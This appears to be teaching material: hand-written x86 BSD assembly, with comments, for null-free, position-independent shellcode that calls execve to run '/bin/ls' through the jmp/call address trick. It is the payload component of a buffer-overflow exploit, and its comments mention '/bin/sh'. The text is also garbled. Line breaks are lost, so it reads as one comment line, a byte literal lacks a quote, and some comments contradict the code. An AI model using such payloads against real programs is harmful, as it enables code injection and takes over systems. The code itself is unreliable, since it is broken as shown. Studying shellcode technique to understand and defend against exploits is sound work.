# # hand written assembly (derived from code produced by gcc) # that can be used to generate machine code that is suitable for # placing in a string (no nulls). # # # Issues: # BSD system calls work by using the int instruction (int $0x80). # the system call number must be on the top of the stack, # parameters to the system call preceed this on the stack # in reverse order (just like when calling an assembly subroutine). # # This code must be position independent, since it could end up # running at any address! This means we must rely on pc-relative # addressing for all jmp and call instructions. # # Things won't work if there are any bytes in the object code that # have the value 0. There are some goofy ways of doing things in # the code below to ensure this - for example we use xor to clear eax # instead of simply movl $0, %eax .text .p2align 2,0x90 .globl myexecls .type myexecls,@function myexecls: # pushl %ebp # save stack frame # movl %esp,%ebp # set stack frame xor %ecx,%ecx # exc is 0 pushl %ecx # null - third parameter to execve # we need to push the address of "/bin/sh". We don't know what address # this will be! We play tricks by using the stack to record # the address of the string at run time. jmp strangejump skippy: pop %eax # eax is now the address of "/bin/ls" movb %cl,7(%eax) # null terminate the string movl %eax, 8(%eax) # stores the adress of "bin/ls" as first element of array movl %ecx,12(%eax) # stores a null as second array element leal 8(%eax),%ebx # ebx is address of the array pushl %ebx # push address (2nd parameter to execve) pushl %eax # push address of "/bin/ls" as first parameter xor %eax,%eax movb $59,%al # eax = 59 (SYS_execve) pushl %eax int $0x80 # system call # we never exepect to get here! add $12,%esp #undo the pushes .L6: leave ret # this is here so we can get the address of the string (which follows the call). # The call instruction puts the address of our string on the top of the stack # since it would be the return address. # # note that the call must be to a lower address, otherwise the offset will be positive # and there will be 0 bytes in the machine code. strangejump: call skippy # here is the string and enough room to build an array { "/bin/ls",NULL } # starting at str+8 .byte '/','b,'i','n','/','l','s',1,1,1,1,1,1,1,1,1,1,1,1